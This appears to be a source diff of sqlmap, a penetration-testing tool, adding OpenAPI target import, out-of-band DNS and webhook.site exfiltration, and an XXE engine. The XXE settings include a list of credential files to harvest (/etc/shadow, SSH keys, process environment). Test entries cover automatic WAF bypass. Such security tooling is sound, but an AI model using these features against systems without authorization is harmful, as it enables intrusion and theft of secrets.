warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
|
||||
mutating = 0
|
||||
for url, method, data, headers in targets:
|
||||
if conf.scope and not re.search(conf.scope, url, re.I):
|
||||
continue
|
||||
if method not in ("GET", "HEAD", "OPTIONS"):
|
||||
mutating += 1
|
||||
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
|
||||
|
||||
added = len(kb.targets) - before
|
||||
if added:
|
||||
conf.multipleTargets = True
|
||||
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
|
||||
logger.info(infoMsg)
|
||||
if mutating:
|
||||
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
|
||||
warnMsg += "Scanning them may create, modify or delete server-side data"
|
||||
logger.warning(warnMsg)
|
||||
else:
|
||||
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
|
||||
if not conf.openApiBase:
|
||||
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _findPageForms():
|
||||
if not conf.forms or conf.crawlDepth:
|
||||
return
|
||||
|
|
@ -870,6 +935,15 @@ def _setTamperingFunctions():
|
|||
warnMsg += "a good idea"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
|
||||
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
|
||||
# warn instead of silently ignoring the user's '--tamper'
|
||||
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
|
||||
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
|
||||
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
|
||||
warnMsg += "will be ignored by the '--%s' engine" % engine
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if resolve_priorities and priorities:
|
||||
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
|
||||
kb.tamperFunctions = []
|
||||
|
|
@ -1249,10 +1323,12 @@ def _setHTTPHandlers():
|
|||
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
|
||||
# Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
|
||||
# and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
|
||||
# or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
|
||||
conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
|
||||
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
|
||||
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
|
||||
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
|
||||
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
|
||||
# handled by a dedicated, non-pooling handler)
|
||||
conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked
|
||||
|
||||
if conf.keepAlive:
|
||||
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
|
||||
|
|
@ -1261,8 +1337,8 @@ def _setHTTPHandlers():
|
|||
handlers.remove(httpsHandler)
|
||||
handlers.append(keepAliveHandler)
|
||||
handlers.append(keepAliveHandlerHTTPS)
|
||||
elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
|
||||
reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
|
||||
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
|
||||
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
|
||||
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
|
@ -1841,7 +1917,7 @@ def _cleanupOptions():
|
|||
if conf.tmpPath:
|
||||
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
||||
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
|
||||
conf.multipleTargets = True
|
||||
|
||||
if conf.optimize:
|
||||
|
|
@ -2167,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.disableHuffman = False
|
||||
kb.huffmanProbes = 0
|
||||
kb.huffmanEscapes = 0
|
||||
kb.lowCardCache = {}
|
||||
kb.dumpCharset = {}
|
||||
kb.dumpCharsetStable = {}
|
||||
kb.litmusCounter = 0
|
||||
kb.reliabilityAlarm = False
|
||||
kb.httpErrorCodes = {}
|
||||
kb.inferenceMode = False
|
||||
kb.ignoreCasted = None
|
||||
|
|
@ -2180,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
|
|
@ -2506,6 +2587,26 @@ def _setDNSServer():
|
|||
if not conf.dnsDomain:
|
||||
return
|
||||
|
||||
from lib.core.settings import OOB_INTERACTSH_SERVERS
|
||||
|
||||
_requested = conf.dnsDomain.strip().lower()
|
||||
if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS:
|
||||
infoMsg = "setting up interactsh-backed DNS exfiltration collector"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None)
|
||||
conf.dnsServer.run()
|
||||
conf.dnsDomain = conf.dnsServer.domain
|
||||
except socket.error as ex:
|
||||
errMsg = "there was an error while setting up "
|
||||
errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
infoMsg = "setting up DNS server instance"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
|
@ -2717,8 +2818,8 @@ def _basicOptionValidation():
|
|||
errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set"
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'"
|
||||
if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)):
|
||||
errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.api and not conf.configFile:
|
||||
|
|
@ -2818,10 +2919,6 @@ def _basicOptionValidation():
|
|||
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.predictOutput and (conf.threads > 1 or conf.optimize):
|
||||
errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"):
|
||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
@ -3011,7 +3108,7 @@ def init():
|
|||
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
|
|
@ -3027,6 +3124,7 @@ def init():
|
|||
_doSearch()
|
||||
_setStdinPipeTargets()
|
||||
_setBulkMultipleTargets()
|
||||
_setOpenApiTargets()
|
||||
_checkTor()
|
||||
_setCrawler()
|
||||
_findPageForms()
|
||||
|
|
|
|||
|
|
@ -19,6 +19,8 @@ optDict = {
|
|||
"sessionFile": "string",
|
||||
"googleDork": "string",
|
||||
"configFile": "string",
|
||||
"openApiFile": "string",
|
||||
"openApiBase": "string",
|
||||
},
|
||||
|
||||
"Request": {
|
||||
|
|
@ -77,7 +79,6 @@ optDict = {
|
|||
|
||||
"Optimization": {
|
||||
"optimize": "boolean",
|
||||
"predictOutput": "boolean",
|
||||
"keepAlive": "boolean",
|
||||
"noKeepAlive": "boolean",
|
||||
"nullConnection": "boolean",
|
||||
|
|
@ -123,6 +124,9 @@ optDict = {
|
|||
"ldap": "boolean",
|
||||
"xpath": "boolean",
|
||||
"ssti": "boolean",
|
||||
"xxe": "boolean",
|
||||
"oobServer": "string",
|
||||
"oobToken": "string",
|
||||
"timeSec": "integer",
|
||||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
|
|
@ -282,6 +286,7 @@ optDict = {
|
|||
"forceDns": "boolean",
|
||||
"murphyRate": "integer",
|
||||
"smokeTest": "boolean",
|
||||
"fpTest": "boolean",
|
||||
"apiTest": "boolean",
|
||||
},
|
||||
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.0"
|
||||
VERSION = "1.10.7.34"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver
|
|||
# Upper threshold for starting the fuzz(y) UNION test
|
||||
FUZZ_UNION_MAX_COLUMNS = 10
|
||||
|
||||
# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically)
|
||||
FUZZ_UNION_MAX_REQUESTS = 80
|
||||
|
||||
# Regular expression used for recognition of generic maximum connection messages
|
||||
MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection"
|
||||
|
||||
|
|
@ -557,11 +560,52 @@ for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (
|
|||
for _char in _chars:
|
||||
HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
|
||||
|
||||
# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
|
||||
# pool for their enumeration context, so later same-context items that share structure (e.g.
|
||||
# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
|
||||
# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
|
||||
# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
|
||||
# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
|
||||
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
|
||||
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
|
||||
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
|
||||
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")
|
||||
|
||||
# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
|
||||
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
|
||||
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
|
||||
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
|
||||
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
|
||||
NAME_MARKOV_ORDER = 3
|
||||
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20
|
||||
|
||||
# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
|
||||
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
|
||||
# equality against the values already seen for that column (one request on a hit) before per-character
|
||||
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
|
||||
LOW_CARDINALITY_THRESHOLD = 32
|
||||
|
||||
# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
|
||||
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
|
||||
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
|
||||
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
|
||||
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
|
||||
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
|
||||
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
|
||||
ORACLE_LITMUS_CHECK_EVERY = 25
|
||||
|
||||
# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
|
||||
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
|
||||
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
|
||||
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
|
||||
LOW_CARDINALITY_MAX_GUESSES = 8
|
||||
|
||||
# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
|
||||
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
|
||||
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
|
||||
# the speculative restricted-search-then-escalate cost.
|
||||
DUMP_CHARSET_STABLE_ROWS = 3
|
||||
|
||||
# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
|
||||
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
|
||||
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
|
||||
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
|
||||
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
|
||||
PREDICTION_FEEDBACK_MAX_LENGTH = 128
|
||||
PREDICTION_FEEDBACK_MAX_ITEMS = 10000
|
||||
|
||||
|
|
@ -713,7 +757,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
|
|||
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
|
||||
|
||||
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
||||
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
|
||||
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
|
||||
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
|
||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
|
||||
|
||||
# Template used for common table existence check
|
||||
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
||||
|
|
@ -1065,6 +1112,112 @@ SSTI_ERROR_SIGNATURES = (
|
|||
|
||||
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
|
||||
|
||||
# XXE parser error signatures for detection and fingerprinting. Each tuple is
|
||||
# (parser_family, regex_fragment). A match means the XML surface reached a real
|
||||
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
|
||||
# useful both as an error-based oracle and to fingerprint the back-end parser.
|
||||
XXE_ERROR_SIGNATURES = (
|
||||
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
|
||||
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
|
||||
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"),
|
||||
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
|
||||
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
|
||||
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
|
||||
("Go encoding/xml", r"XML syntax error on line \d+"),
|
||||
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"),
|
||||
)
|
||||
|
||||
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
|
||||
|
||||
# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
|
||||
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
|
||||
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"
|
||||
|
||||
# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
|
||||
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
|
||||
# short host-identity file is enough to prove the read without tripping decoys.
|
||||
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
|
||||
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
|
||||
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
|
||||
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
|
||||
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
|
||||
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
|
||||
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
|
||||
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
|
||||
OOB_EXFIL_ENDPOINT = "https://webhook.site"
|
||||
OOB_CORRELATION_ID_LENGTH = 20
|
||||
OOB_NONCE_LENGTH = 13
|
||||
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
|
||||
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
|
||||
|
||||
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
|
||||
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
|
||||
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
|
||||
# The delay must exceed a DTD-processing control baseline by this many seconds.
|
||||
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
||||
XXE_TIME_THRESHOLD = 5
|
||||
|
||||
XXE_IMPACT_FILES = (
|
||||
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
|
||||
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
||||
)
|
||||
|
||||
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
|
||||
# this curated set of high-value, fixed-path files (host identity, process env/
|
||||
# secrets, key material, common application drop paths) - the XXE analogue of the
|
||||
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
|
||||
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
|
||||
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
|
||||
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
|
||||
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
|
||||
# request is honoured verbatim instead).
|
||||
XXE_FILE_HARVEST = (
|
||||
"/etc/passwd",
|
||||
"/etc/hostname",
|
||||
"/etc/hosts",
|
||||
"/etc/os-release",
|
||||
"/etc/shadow",
|
||||
"/etc/group",
|
||||
"/proc/self/environ",
|
||||
"/proc/self/cmdline",
|
||||
"/proc/self/status",
|
||||
"/proc/version",
|
||||
"/root/.bash_history",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/flag",
|
||||
"/flag.txt",
|
||||
"c:/windows/win.ini",
|
||||
"c:/windows/system32/drivers/etc/hosts",
|
||||
"c:/inetpub/wwwroot/web.config",
|
||||
)
|
||||
|
||||
# Application web roots + source filenames used, once php://filter is available, to
|
||||
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
|
||||
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
|
||||
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
|
||||
# environ}. Best-effort and bounded.
|
||||
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
|
||||
XXE_SOURCE_NAMES = (
|
||||
"index.php", "config.php", "config.inc.php", "secret.php",
|
||||
"db.php", "database.php", "settings.php", "init.php", "functions.php",
|
||||
"app.py", "server.py", "main.py", "wp-config.php", ".env",
|
||||
)
|
||||
|
||||
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
|
||||
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
|
||||
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
|
||||
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
|
||||
XXE_LOCAL_DTDS = (
|
||||
("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable
|
||||
("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package
|
||||
("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
|
||||
("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile
|
||||
("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED
|
||||
("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
|
||||
("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
|
||||
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
|
||||
)
|
||||
|
||||
# Upper bound for SSTI value extraction (reserved for future use)
|
||||
SSTI_MAX_LENGTH = 256
|
||||
|
||||
|
|
|
|||
|
|
@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX
|
|||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.utils.hashdb import HashDB
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
def _setRequestParams():
|
||||
|
|
@ -618,7 +618,7 @@ def _createFilesDir():
|
|||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not any((conf.fileRead, conf.commonFiles)):
|
||||
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
|
||||
return
|
||||
|
||||
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
|
||||
|
|
|
|||
|
|
@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom
|
|||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import RESTAPI_VERSION
|
||||
|
||||
def vulnTest():
|
||||
def vulnTest(tests=None, label="vuln"):
|
||||
"""
|
||||
Runs the testing against 'vulnserver'
|
||||
Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS)
|
||||
"""
|
||||
|
||||
TESTS = (
|
||||
TESTS = tests if tests is not None else (
|
||||
("-h", ("to see full list of options run with '-hh'",)),
|
||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||
|
|
@ -63,7 +63,7 @@ def vulnTest():
|
|||
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
|
||||
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
|
||||
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
|
||||
("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
|
||||
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
|
||||
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
||||
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
|
||||
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
|
|
@ -73,17 +73,17 @@ def vulnTest():
|
|||
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
|
||||
